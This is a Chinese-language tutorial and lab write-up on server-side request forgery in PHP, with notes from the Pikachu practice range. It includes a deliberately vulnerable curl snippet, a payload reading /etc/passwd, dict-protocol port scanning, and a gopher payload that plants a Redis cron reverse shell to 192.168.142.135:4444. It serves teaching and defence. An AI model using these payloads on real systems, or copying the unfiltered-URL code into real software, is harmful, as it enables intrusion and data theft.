目錄
SSRF:Server-Side Request Forgery
PHP curl
PHP 可能引起SSRF的函數
PHP其他函數
CURL其他協議
SSRF利用:
SSRF的發現?
工具
SSRF的防御
pikachu-SSRF
一:curl
1.訪問連接:
2.讀取本地文件
?3.dict協議掃描主機端口
二:file_get_content
4.http協議請求內網資源
SSRF:Server-Side Request Forgery
服務器端請求偽造:是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。因為是由服務端發起的,所以它能夠請求到與它相連而與外網隔離的內部系統。SSRF形成的原因大都是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。
PHP curl
<?php
function curl($url){ $ch = curl_init();// 設置URL和相應的選項curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); // 啟用時會將頭文件的信息作為數據流輸出 // 抓取URL并把它傳遞給瀏覽器 curl_exec($ch);//關閉cURL資源,并且釋放系統資源 curl_close($ch);
}$url = $_GET['url'];
curl($url);
?>
獲取網頁資源——爬蟲
webservice——獲取接口數據
FTP——下載文件
php.ini extension=php_curl.dll
PHP 可能引起SSRF的函數
函數 | 作用 |
curl_exec() | 執行 cURL 會話 |
file_get_contents() | 將整個文件讀入一個字符串 ? |
fsockopen() | 打開一個網絡連接或者一個Unix套接字連接 |
PHP其他函數
函數 | 作用 |
curl_exec() | 執行 cURL 會話 |
file_get_contents() | 將整個文件讀入一個字符串 |
fsockopen() | 打開一個網絡連接或者一個Unix套接字連接 |
CURL其他協議
協議 | 作用 | payload |
file | 查看文件 | curl -v 'file:///etc/passwd' |
dict | 探測端口 | http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306 |
gopher | 反彈shell | curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d% 0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.142.135/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3% 0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron /%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a $10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$ 4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a |
dict和gopher協議原本作用:
dict協議:用于搭建在線字典服務
gopher協議:是一種信息查找系統,只支持文本,不支持圖像,已被HTTP替代
SSRF利用:
1.掃描資產
2.獲取敏感信息
3.攻擊內網服務器(繞過防火墻)
4.訪問大文件,造成溢出
5.通過Redis寫入WebShell或建立反彈連接
實際案例:
1.Wordpress 3.5.1以下版本 xmlrpc.php?pingback的缺陷與SSFR
2.discuz!的SSRF(利用php的header函數來繞過,其實就是302跳轉實現協議轉換)
3.weblogic的SSRF
SSRF的發現?
1.爬取地址
2.查看是否請求了其他資源,也可以用Google語法搜索關鍵字:
share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
工具
https://github.com/cujanovic/SSRF-Testing
https://github.com/tarunkant/Gopherus
https://github.com/swisskyrepo/SSRFmap
SSRF的防御
1.禁用協議
2.限制請求端口
3.設置URL白名單
4.過濾返回信息
5.統一錯誤信息
pikachu-SSRF
一:curl
點擊后看到url
1.訪問連接:
2.讀取本地文件
?3.dict協議掃描主機端口
二:file_get_content
和上題一樣不過換成了file
4.http協議請求內網資源
?file=http://127.0.0.1/pikachu/wiki/image/title.png
參考文章:
pikachu靶場練習——SSRF詳解_pikachu ssrf-CSDN博客
?